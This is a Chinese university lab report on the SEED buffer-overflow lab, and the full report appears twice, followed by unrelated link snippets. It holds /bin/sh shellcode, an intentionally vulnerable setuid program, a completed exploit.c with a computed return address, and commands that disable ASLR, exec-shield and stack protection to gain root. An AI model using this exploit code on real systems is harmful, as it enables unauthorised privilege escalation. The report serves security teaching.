缓冲区溢出

山东大学软件学院

网络攻防实验报告小组成员:李栋[1**********]7

王迎新

实验题目:

Buffer-Overflow Vulnerability Lab(缓冲区溢出漏洞实验)

实验目的:

The learning objective of this lab is for students to gain the first-hand experience on

buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. (这个实验的目的是为了让学生获得有关缓冲区漏洞的一手体验,并将从课堂学习到的有关漏洞的只是付诸于实践。)

硬件环境:

CPU:IntelCore 2Quad

2.83GHz

内存:2.96GB

软件环境:

VMware 10

Windows 7

1.实验内容

Activities:Students are given a program that has the buffer-overflow problem, and they need to exploit the vulnerability to gain the root privilege. Moreover, students will experiment with several protection schemes that have been implemented in Linux, and evaluate their effectiveness. (学生被给一个有缓冲区溢出漏洞问题程序,需要利用这个漏洞去获得root 权限。此外,学生也将实验几个已经在linux 中应用的保护方案,并去评估他们的效果。)

2实验任务

2.1初始设置我们将攻击Fedora Linux 系统。

Fedora 里有三种保护机制使得缓冲区溢出攻击变得困难。首先,Fedora 使用执行屏蔽使得堆栈不被执行,因此,即使我们能够在堆栈里插入一个shell code 它也不能运行。第二,Fedora 使用地址空间随机机制使得开始地址的堆和栈随机,这使得猜测确切地址有了难度,而猜测地址是缓冲区溢出攻击的一个重要步骤。为了教学目的,本实验中,我们使用下面的命令禁用了这些功能:$su root

Password:(enterroot password)

#/sbin/sysctl-w kernel.exec-shield=0

#/sbin/sysctl-w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持权限。这个防护措施在/bin/bas在Fedora 中,/bin/sh实际是指向/bin/bash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )替/bin/bash。下面的指令描述了如何设置zsh 程序:

$su

Password:(enterroot password)

#wget ftp://rpmfind.net/linux/fedora/(continueon the next line)

core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm

#rpm -ivh zsh-4.2.1-2.i386.rpm

#cd /bin

#rm sh

#ln -s zsh sh

2.2Shellcode

在开始攻击之前,你需要一个Shellcode ,Shellcode 是登陆到shell 它必须被载入内存,那样我们才能强迫程序跳转到它。考虑以下程序:#include

int main() {

char *name[2];

name[0]=‘‘/bin/sh’’;

name[1]=NULL;

execve(name[0],name, NULL);

}

我们使用的shell code 是上述程序的汇编版。下面的程序显示了如何通过利用shell code 任意重写一个缓冲区登录shell ,请编译并运行以下代码,看shell 是否被调用。

/*call_shellcode.c*/

/*Aprogram that creates a file containing code for launching shell*/

#include

#include

const char code[

]=

"\x31\xc0"/*Line 1:xorl %eax,%eax*/

"\x50"/*Line 2:pushl %eax*/

"\x68""//sh"/*Line 3:pushl $0x68732f2f*/

"\x68""/bin"/*Line 4:pushl $0x6e69622f*/

"\x89\xe3"/*Line 5:movl %esp,%ebx*/

"\x50"/*Line 6:pushl %eax*/

"\x53"/*Line 7:pushl %ebx*/

"\x89\xe1"/*Line 8:movl %esp,%ecx*/

"\x99"/*Line 9:cdql */

"\xb0\x0b"/*Line 10:movb $0x0b,%al*/

"\xcd\x80"/*Line 11:int $0x80*/;intmain(intargc, char **argv){charbuf[sizeof(code)];strcpy(buf,code);((void(*)())buf)();

}

这段shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推入栈,这是因为我们在这里需要一个32位的数字而“/sh”只有24位。幸运的是,“//”和“/”等价, 所以我们使用“//”对程序也没什么影响,而且起到补位作用。第二,在调用execve()之前,我们需要分别存储name[0](串地址),name (列地址)和NULL 至%ebx,%ecx,和%edx寄存器。第5将name[0]存储%ebx;第8行将name 存储到%ecx;第9行将%edx设为0;还有其它方法可以设%edx为0(如xorl %edx,%edx)。这里用的(cdql)指令只是较为简短。第三,当我们将%al设为11时调用了system callexecve(),并执行了“int $0x802.3有漏洞的程序

/*stack.c */

/*This program has a buffer overflow vulnerability. */

/*Our task is to exploit this vulnerability */

#include

#include

#include

int bof(char*str)

{

char buffer[12];

/*The following statement has a buffer overflow problem */

strcpy(buffer,str);

return 1;

}

int main(intargc, char **argv)

{

char str[517];

FILE *badfile;

badfile =fopen("badfile",

"r");

fread(str,sizeof(char),517, badfile);

bof(str);

printf("ReturnedProperly

\

n");

return 1;

}

编译以上易被攻击的程序并用setuid 机制设置其有效执行用户为root 。你可以通过用root 帐户编译并chmod 可执行到4755来实现:

$su root

Pasword (enterroot password)

#gcc -o stack stack.c

#chmod 4755stack

#exit

以上程序有一个缓冲区溢出漏洞。它一开始从一个叫“badfile ”的文件读了一个输入,然后将这个输入传递给了另一个bof()功能里的缓冲区。原始输入最大长度为517bytes ,然而bof()的长度仅为12bytes 。由于strcpy()不检查边界,将发生缓冲区溢出。由于此程序有效执行用户为root ,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得root shell 。应该注意到此程序是一个叫做“badfile ”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile ”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个root shell 。

2.4任务1:攻击漏洞

我们提供给你一段部分完成的攻击代码“exploit.c ”,这段代码的目的是为“badfile ”创建内容。代码中,shell code 已经给出,你需要完成其余部分。/*exploit.c */

/*A program that creates a file containing code for launching shell*/

#include

#include

#include

char shellcode[]=

"\x31\xc0"/*xorl %eax,%eax*/

"\x50"/*pushl %eax*/

"\x68""//sh"/*pushl $0x68732f2f*/

"\x68""/bin"/*pushl $0x6e69622f*/

"\x89\xe3"/*movl %esp,%ebx*/

"\x50"/*pushl %eax*/

"\x53"/*pushl %ebx*/

"\x89\xe1"/*movl %esp,%ecx*/

"\x99"/*cdql */

"\xb0\x0b"/*movb $0x0b,%al*/

"\xcd\x80"/*int $0x80

*/

;

void main(intargc, char **argv)

{

char buffer[517];

FILE *badfile;

/*Initialize buffer with 0x90(NOPinstruction) */

memset(&buffer,0x90, 517);

/*You need to fill the buffer with appropriate contents here */

/*Save the contents to the file "

badfile" */

badfile =fopen("./badfile","w");

fwrite(buffer,517, 1, badfile);

fclose(badfile);

}

完成以上程序后编译并运行,它将为“badfile ”生成内容。如果你的攻击正确实现,你将得到一个root shell:

$gcc -o exploit exploit.c

$./exploit//create the badfile

$./stack//launch the attack by running the vulnerable program

#

值得注意的是,尽管你获得了“#”提示符,真正的用户id 仍然是你自己(现在的有效用户id 是root ),你可以通过键入以下命令来检查:

#id

uid=(500)euid=0(root)

许多命令若被当成

Set-UID-root

进程来执行,将会与作为root 进程时有所不同,因为它们知道真正的用户id 并不是root 。为了解决这个问题,你可以运行以下程序将真正的用户id 变为root 通过这个方法,你将获得一个真正的root 进程。

void main()

{

setuid(0);

system("/bin/sh");

}

2.5任务2:/bin/bash中的保护

现在,我们让/bin/sh指回到

/bin/bash,然后进行和之前任务中同样的攻击。还能得到shell 吗?这个shell 是root shell 吗?发生了什么?在实验报告中描述你观察到的现象并解释。$su root

Password:(enterroot password)

#cd /bin

#rm sh

#ln -s bash sh //link /bin/shto /bin/bash

#exit

$./stack//launch the attack by running the vulnerable program

有办法可以避开这个保护策略,你需要修改shell code. 对这一攻击我们将给予10分的奖励。提示:尽管/bin/bash对运行Set-UID 程序有限制,它确实允许真正的root 运行shells 的。因此,如果你可以在调用/bin/bash之前将当前Set-UID 程序变为一个真正的root 进程,你便可以逃脱bash 的限制。可以使用系统调用setuid()来完成。

2.6任务3:地址随机化

现在,让我们打开Fedora 的地址随机化。我们进行与任务1中同样的攻击,你能得到shell 吗?如果不能,问题出在哪里?地址随机化是怎样使你的攻击变得困难的?在实验报告中描述你观察到的现象并解释。你可以使用以下指令打开地址随机化:

$su root

Password:(enterroot password)

#/sbin/sysctl-w kernel.exec-shield=0

#/sbin/sysctl-w kernel.randomize_va_space=1

2.7任务4:执行屏蔽的栈

Fedora 允许root 对栈实行执行屏蔽,你可以使用以下命令来实现(再次将地址随机化关闭)。你还能再进行与任务1中同样的攻击吗?请在实验报告中说明你所观察到的现象并证明。

$su root

Password:(enterroot password)

#/sbin/sysctl-w kernel.exec-shield=1

#/sbin/sysctl-wkernel.randomize_va_space=0

执行屏蔽栈只是禁止了在栈上运行shell code ,但是它并没有阻止缓冲区溢出攻击,因为当一个缓冲区溢出漏洞被利用后,还有别的办法可以运行恶意代码。return-to-libc 攻击就是一个例子。我们为此设计了一个单独的实验,如果你感兴趣,可以看我们的return-to-libc 攻击实验了解详情。

三、实验步骤

3.1初始设置

Ubuntu 和其他一些Linux 系统中,使用地址空间随机化来随机堆(heap )和栈(stack )的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持root 权限,这个防护措施在/bin/bash中实现。

linux 系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )代替/bin/bash。下面的指令描述了如何设置zsh 程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

Exit

3.2shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是

shellcode 。

观察以下代码:

#include

int main() {

char *name[2];

name[0]=‘‘/bin/sh’’;

name[1]=NULL;

execve(name[0],name, NULL);

}

本次实验的shellcode ,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3漏洞程序

把以下代码保存为“stack.c ”文件,保存到/tmp目录下。代码如下:/*stack.c */

/*This program has a buffer overflow vulnerability. */

/*Our task is to exploit this vulnerability */

#include

#include

#include

int bof(char*str){

char buffer[12];

/*The following statement has a buffer overflow problem */

strcpy(buffer,str);

return 1;

}

int main(intargc, char **argv){

char str[517];

FILE *badfile;

badfile =fopen("badfile","r");

fread(str,sizeof(char),517, badfile);

bof(str);

printf("ReturnedProperly\n");

}

通过代码可以知道,程序会读取一个名为“badfile ”的文件,并将文件内容装入“buffer ”。

编译该程序,并设置SET-UID 。命令如下:

sudo su

gcc -m32-g -z execstack -fno-stack-protector -o stack stack.c

chmod u+sstack

Exit

GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。

而-z execstack 用于允许执行栈。

3.4攻击程序

我们的目的是攻击刚才的漏洞程序,并通过攻击获得root 权限。

把以下代码保存为“exploit.c ”文件,保存到/tmp目录下。代码如下:/*exploit.c */

/*A program that creates a file containing code for launching shell*/

#include

#include

#include

char shellcode[]=

"\x31\xc0"//xorl%eax,%eax

"\x50"//pushl%eax

"\x68""//sh"//pushl$0x68732f2f

"\x68""/bin"//pushl$0x6e69622f

"\x89\xe3"

"\x50"

"\x53"

"\x89\xe1"

"\x99"

"\xb0\x0b"

"\xcd\x80"//movl%esp,%ebx//pushl%eax//pushl%ebx//movl%esp,%ecx//cdq//movb$0x0b,%al//int$0x80;

void main(intargc, char **argv){

char buffer[517];

FILE *badfile;

/*Initialize buffer with 0x90(NOPinstruction) */

memset(&buffer,0x90, 517);

/*You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

strcpy(buffer+100,shellcode);

/*Save the contents to the file "badfile" */

badfile =fopen("./badfile","w");

fwrite(buffer,517, 1, badfile);

fclose(badfile);

}

注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

shellcode 保存在buffer+100而strcpy(buffer+100,shellcode);这一句又告诉我们,

的位置。

现在我们要得到shellcode 在内存中的地址,输入命令:

gdb stack

disass main

结果如图:

接下来的操作:

根据语句strcpy(buffer+100,shellcode);我们计算shellcode 的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)

现在修改exploit.c 文件!将\x??\x??\x??\x??修改为\x14\xd2\xff\xff然后,编译exploit.c 程序:

gcc -m32-o exploit exploit.c

3.5攻击结果

先运行攻击程序exploit ,再运行漏洞程序stack ,观察结果:

可见,通过攻击,获得了root 权限!

如果不能攻击成功,提示”段错误“,那么请重新使用gdb 反汇编,计算内存地址。

结论分析与体会:

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

我们根据这个网址(http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/)的要求,安装虚拟机,配置文件,参考实验指导书,并进行了小组的讨论。最后成功的利用了缓冲区溢出的漏洞获得了root 权限。

山东大学软件学院

网络攻防实验报告小组成员:李栋[1**********]7

王迎新

实验题目:

Buffer-Overflow Vulnerability Lab(缓冲区溢出漏洞实验)

实验目的:

The learning objective of this lab is for students to gain the first-hand experience on

buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. (这个实验的目的是为了让学生获得有关缓冲区漏洞的一手体验,并将从课堂学习到的有关漏洞的只是付诸于实践。)

硬件环境:

CPU:IntelCore 2Quad

2.83GHz

内存:2.96GB

软件环境:

VMware 10

Windows 7

1.实验内容

Activities:Students are given a program that has the buffer-overflow problem, and they need to exploit the vulnerability to gain the root privilege. Moreover, students will experiment with several protection schemes that have been implemented in Linux, and evaluate their effectiveness. (学生被给一个有缓冲区溢出漏洞问题程序,需要利用这个漏洞去获得root 权限。此外,学生也将实验几个已经在linux 中应用的保护方案,并去评估他们的效果。)

2实验任务

2.1初始设置我们将攻击Fedora Linux 系统。

Fedora 里有三种保护机制使得缓冲区溢出攻击变得困难。首先,Fedora 使用执行屏蔽使得堆栈不被执行,因此,即使我们能够在堆栈里插入一个shell code 它也不能运行。第二,Fedora 使用地址空间随机机制使得开始地址的堆和栈随机,这使得猜测确切地址有了难度,而猜测地址是缓冲区溢出攻击的一个重要步骤。为了教学目的,本实验中,我们使用下面的命令禁用了这些功能:$su root

Password:(enterroot password)

#/sbin/sysctl-w kernel.exec-shield=0

#/sbin/sysctl-w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持权限。这个防护措施在/bin/bas在Fedora 中,/bin/sh实际是指向/bin/bash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )替/bin/bash。下面的指令描述了如何设置zsh 程序:

$su

Password:(enterroot password)

#wget ftp://rpmfind.net/linux/fedora/(continueon the next line)

core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm

#rpm -ivh zsh-4.2.1-2.i386.rpm

#cd /bin

#rm sh

#ln -s zsh sh

2.2Shellcode

在开始攻击之前,你需要一个Shellcode ,Shellcode 是登陆到shell 它必须被载入内存,那样我们才能强迫程序跳转到它。考虑以下程序:#include

int main() {

char *name[2];

name[0]=‘‘/bin/sh’’;

name[1]=NULL;

execve(name[0],name, NULL);

}

我们使用的shell code 是上述程序的汇编版。下面的程序显示了如何通过利用shell code 任意重写一个缓冲区登录shell ,请编译并运行以下代码,看shell 是否被调用。

/*call_shellcode.c*/

/*Aprogram that creates a file containing code for launching shell*/

#include

#include

const char code[

]=

"\x31\xc0"/*Line 1:xorl %eax,%eax*/

"\x50"/*Line 2:pushl %eax*/

"\x68""//sh"/*Line 3:pushl $0x68732f2f*/

"\x68""/bin"/*Line 4:pushl $0x6e69622f*/

"\x89\xe3"/*Line 5:movl %esp,%ebx*/

"\x50"/*Line 6:pushl %eax*/

"\x53"/*Line 7:pushl %ebx*/

"\x89\xe1"/*Line 8:movl %esp,%ecx*/

"\x99"/*Line 9:cdql */

"\xb0\x0b"/*Line 10:movb $0x0b,%al*/

"\xcd\x80"/*Line 11:int $0x80*/;intmain(intargc, char **argv){charbuf[sizeof(code)];strcpy(buf,code);((void(*)())buf)();

}

这段shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推入栈,这是因为我们在这里需要一个32位的数字而“/sh”只有24位。幸运的是,“//”和“/”等价, 所以我们使用“//”对程序也没什么影响,而且起到补位作用。第二,在调用execve()之前,我们需要分别存储name[0](串地址),name (列地址)和NULL 至%ebx,%ecx,和%edx寄存器。第5将name[0]存储%ebx;第8行将name 存储到%ecx;第9行将%edx设为0;还有其它方法可以设%edx为0(如xorl %edx,%edx)。这里用的(cdql)指令只是较为简短。第三,当我们将%al设为11时调用了system callexecve(),并执行了“int $0x802.3有漏洞的程序

/*stack.c */

/*This program has a buffer overflow vulnerability. */

/*Our task is to exploit this vulnerability */

#include

#include

#include

int bof(char*str)

{

char buffer[12];

/*The following statement has a buffer overflow problem */

strcpy(buffer,str);

return 1;

}

int main(intargc, char **argv)

{

char str[517];

FILE *badfile;

badfile =fopen("badfile",

"r");

fread(str,sizeof(char),517, badfile);

bof(str);

printf("ReturnedProperly

\

n");

return 1;

}

编译以上易被攻击的程序并用setuid 机制设置其有效执行用户为root 。你可以通过用root 帐户编译并chmod 可执行到4755来实现:

$su root

Pasword (enterroot password)

#gcc -o stack stack.c

#chmod 4755stack

#exit

以上程序有一个缓冲区溢出漏洞。它一开始从一个叫“badfile ”的文件读了一个输入,然后将这个输入传递给了另一个bof()功能里的缓冲区。原始输入最大长度为517bytes ,然而bof()的长度仅为12bytes 。由于strcpy()不检查边界,将发生缓冲区溢出。由于此程序有效执行用户为root ,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得root shell 。应该注意到此程序是一个叫做“badfile ”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile ”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个root shell 。

2.4任务1:攻击漏洞

我们提供给你一段部分完成的攻击代码“exploit.c ”,这段代码的目的是为“badfile ”创建内容。代码中,shell code 已经给出,你需要完成其余部分。/*exploit.c */

/*A program that creates a file containing code for launching shell*/

#include

#include

#include

char shellcode[]=

"\x31\xc0"/*xorl %eax,%eax*/

"\x50"/*pushl %eax*/

"\x68""//sh"/*pushl $0x68732f2f*/

"\x68""/bin"/*pushl $0x6e69622f*/

"\x89\xe3"/*movl %esp,%ebx*/

"\x50"/*pushl %eax*/

"\x53"/*pushl %ebx*/

"\x89\xe1"/*movl %esp,%ecx*/

"\x99"/*cdql */

"\xb0\x0b"/*movb $0x0b,%al*/

"\xcd\x80"/*int $0x80

*/

;

void main(intargc, char **argv)

{

char buffer[517];

FILE *badfile;

/*Initialize buffer with 0x90(NOPinstruction) */

memset(&buffer,0x90, 517);

/*You need to fill the buffer with appropriate contents here */

/*Save the contents to the file "

badfile" */

badfile =fopen("./badfile","w");

fwrite(buffer,517, 1, badfile);

fclose(badfile);

}

完成以上程序后编译并运行,它将为“badfile ”生成内容。如果你的攻击正确实现,你将得到一个root shell:

$gcc -o exploit exploit.c

$./exploit//create the badfile

$./stack//launch the attack by running the vulnerable program

#

值得注意的是,尽管你获得了“#”提示符,真正的用户id 仍然是你自己(现在的有效用户id 是root ),你可以通过键入以下命令来检查:

#id

uid=(500)euid=0(root)

许多命令若被当成

Set-UID-root

进程来执行,将会与作为root 进程时有所不同,因为它们知道真正的用户id 并不是root 。为了解决这个问题,你可以运行以下程序将真正的用户id 变为root 通过这个方法,你将获得一个真正的root 进程。

void main()

{

setuid(0);

system("/bin/sh");

}

2.5任务2:/bin/bash中的保护

现在,我们让/bin/sh指回到

/bin/bash,然后进行和之前任务中同样的攻击。还能得到shell 吗?这个shell 是root shell 吗?发生了什么?在实验报告中描述你观察到的现象并解释。$su root

Password:(enterroot password)

#cd /bin

#rm sh

#ln -s bash sh //link /bin/shto /bin/bash

#exit

$./stack//launch the attack by running the vulnerable program

有办法可以避开这个保护策略,你需要修改shell code. 对这一攻击我们将给予10分的奖励。提示:尽管/bin/bash对运行Set-UID 程序有限制,它确实允许真正的root 运行shells 的。因此,如果你可以在调用/bin/bash之前将当前Set-UID 程序变为一个真正的root 进程,你便可以逃脱bash 的限制。可以使用系统调用setuid()来完成。

2.6任务3:地址随机化

现在,让我们打开Fedora 的地址随机化。我们进行与任务1中同样的攻击,你能得到shell 吗?如果不能,问题出在哪里?地址随机化是怎样使你的攻击变得困难的?在实验报告中描述你观察到的现象并解释。你可以使用以下指令打开地址随机化:

$su root

Password:(enterroot password)

#/sbin/sysctl-w kernel.exec-shield=0

#/sbin/sysctl-w kernel.randomize_va_space=1

2.7任务4:执行屏蔽的栈

Fedora 允许root 对栈实行执行屏蔽,你可以使用以下命令来实现(再次将地址随机化关闭)。你还能再进行与任务1中同样的攻击吗?请在实验报告中说明你所观察到的现象并证明。

$su root

Password:(enterroot password)

#/sbin/sysctl-w kernel.exec-shield=1

#/sbin/sysctl-wkernel.randomize_va_space=0

执行屏蔽栈只是禁止了在栈上运行shell code ,但是它并没有阻止缓冲区溢出攻击,因为当一个缓冲区溢出漏洞被利用后,还有别的办法可以运行恶意代码。return-to-libc 攻击就是一个例子。我们为此设计了一个单独的实验,如果你感兴趣,可以看我们的return-to-libc 攻击实验了解详情。

三、实验步骤

3.1初始设置

Ubuntu 和其他一些Linux 系统中,使用地址空间随机化来随机堆(heap )和栈(stack )的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID 程序调用一个shell ,也不能在这个shell 中保持root 权限,这个防护措施在/bin/bash中实现。

linux 系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell 程序(zsh )代替/bin/bash。下面的指令描述了如何设置zsh 程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

Exit

3.2shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是

shellcode 。

观察以下代码:

#include

int main() {

char *name[2];

name[0]=‘‘/bin/sh’’;

name[1]=NULL;

execve(name[0],name, NULL);

}

本次实验的shellcode ,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3漏洞程序

把以下代码保存为“stack.c ”文件,保存到/tmp目录下。代码如下:/*stack.c */

/*This program has a buffer overflow vulnerability. */

/*Our task is to exploit this vulnerability */

#include

#include

#include

int bof(char*str){

char buffer[12];

/*The following statement has a buffer overflow problem */

strcpy(buffer,str);

return 1;

}

int main(intargc, char **argv){

char str[517];

FILE *badfile;

badfile =fopen("badfile","r");

fread(str,sizeof(char),517, badfile);

bof(str);

printf("ReturnedProperly\n");

}

通过代码可以知道,程序会读取一个名为“badfile ”的文件,并将文件内容装入“buffer ”。

编译该程序,并设置SET-UID 。命令如下:

sudo su

gcc -m32-g -z execstack -fno-stack-protector -o stack stack.c

chmod u+sstack

Exit

GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。

而-z execstack 用于允许执行栈。

3.4攻击程序

我们的目的是攻击刚才的漏洞程序,并通过攻击获得root 权限。

把以下代码保存为“exploit.c ”文件,保存到/tmp目录下。代码如下:/*exploit.c */

/*A program that creates a file containing code for launching shell*/

#include

#include

#include

char shellcode[]=

"\x31\xc0"//xorl%eax,%eax

"\x50"//pushl%eax

"\x68""//sh"//pushl$0x68732f2f

"\x68""/bin"//pushl$0x6e69622f

"\x89\xe3"

"\x50"

"\x53"

"\x89\xe1"

"\x99"

"\xb0\x0b"

"\xcd\x80"//movl%esp,%ebx//pushl%eax//pushl%ebx//movl%esp,%ecx//cdq//movb$0x0b,%al//int$0x80;

void main(intargc, char **argv){

char buffer[517];

FILE *badfile;

/*Initialize buffer with 0x90(NOPinstruction) */

memset(&buffer,0x90, 517);

/*You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

strcpy(buffer+100,shellcode);

/*Save the contents to the file "badfile" */

badfile =fopen("./badfile","w");

fwrite(buffer,517, 1, badfile);

fclose(badfile);

}

注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

shellcode 保存在buffer+100而strcpy(buffer+100,shellcode);这一句又告诉我们,

的位置。

现在我们要得到shellcode 在内存中的地址,输入命令:

gdb stack

disass main

结果如图:

接下来的操作:

根据语句strcpy(buffer+100,shellcode);我们计算shellcode 的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)

现在修改exploit.c 文件!将\x??\x??\x??\x??修改为\x14\xd2\xff\xff然后,编译exploit.c 程序:

gcc -m32-o exploit exploit.c

3.5攻击结果

先运行攻击程序exploit ,再运行漏洞程序stack ,观察结果:

可见,通过攻击,获得了root 权限!

如果不能攻击成功,提示”段错误“,那么请重新使用gdb 反汇编,计算内存地址。

结论分析与体会:

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

我们根据这个网址(http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/)的要求,安装虚拟机,配置文件,参考实验指导书,并进行了小组的讨论。最后成功的利用了缓冲区溢出的漏洞获得了root 权限。


相关内容

  • VC++中利用/GS开关防止缓冲区溢出
  • 缓冲区溢出通常表现为一个最为常见的漏洞而存在于今天的各种软件之中,黑客可以用恶意的输入,从而更改程序的执行流程,由此入侵相应的进程.电脑.或整个域.如果进程运行于一个高度受信的账户之下,如管理员或本地系统账户,那么黑客带来的破坏将是极其严重,并有潜在广泛传播的危险.近几年来爆发的一些"知名 ...

  • 缓冲区溢出实验报告
  • 网络安全实验报告 一.实验题目 缓冲区溢出 二.实验平台及工具 Windows xp sp3.OllyDbg反编译软件.实验程序stackoverflow.exe及源码stackoverflow.c 三.实验过程 打开OllyDbg程序,载入实验程序stackoverflow_debug.exe 如 ...

  • 缓冲区溢出攻击实验
  • 栈顶和栈底信息,以及局部变量和函数的参数.上述main函数执行时,上述信息按照参数. ret(返回地址)和EBP(栈底) 的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间, 这个内存空间被申请占用的过程是从 内存高地址空间向低地址空间的延伸.为局部变量在堆栈中预留的空间 ...

  • 关于网络安全的小知识
  • 关于网络安全的小知识 最佳答案 1.计算机病毒特点 答:一.刻意编写.人为破坏 二.传染性 三.破坏性 四.隐蔽性 五.潜伏性 六.不可预见性 2.安全策略所涉及的方面有哪些? 答:一.物理安全策略 二.访问控制策略 三.信息加密策略 3.有哪些常用的安全协议,它们分别基于哪些层 ? 答:应用层有: ...

  • 安全程序设计实验报告
  • 实验报告 课程名称: 学 院: 姓 名: 班 级: 学 号: 年 月 日 实验一:缓冲区溢出安全问题 一:什么是缓冲区溢出: 缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量而溢出:某些情况下,溢出的数据只是覆盖在一些不重要的的内存空间上,不会产生严重后果:但是一旦溢出的数据覆盖在合 ...

  • 黑客攻防实战(双色版)
  • 无师自通:黑客攻防实战(双色版)(附光盘) 正在读(4人), 已读过(31人) | 放入书架 什么是书架? 所属分类: 图书 >> 计算机/网络 >> 信息安全 定价:¥24.80 当当价:¥19.80 折扣:80折 节省:¥5.00 送积分:198 积分说明 顾客评分: 最 ...

  • 任务3.5 定时器的初步认识
  • 任务五 定时器的初步认识 3.5.1 任务介绍 在动态数码管的学习中,我们已经用DelayMs()延时函数实现了数字钟的走时,但是这种方式下的数字钟走时不够准确.生活中,我们需要精确计量时间时,通常会借助于走时准确的秒表,51单片机内部也有一个类似于秒表的装置,我们称之为定时器,借助于定时器,我们可 ...

  • 网络安全--攻击分类(2)
  • 网络安全--攻击分类(2) 二.操作攻击 任何取得成功的主要手段依赖于在OSI模型的某层对数据进行操作的攻击都称为操纵攻击,其中主要有网络操纵和应用程序操纵. 1.网络操纵攻击 最常见的是IP分片,攻击者对流量进行蓄意分片,以试图绕过基于网络(IDS或防火墙)或基于应用程序的安全控制.Fragrou ...

  • 16 基本同步串行口 BSSP
  • 第 16章 基本同步串行口 (BSSP) 目录 本章包括下面一些主要内容: 16.1 简介......................................................................................................... ...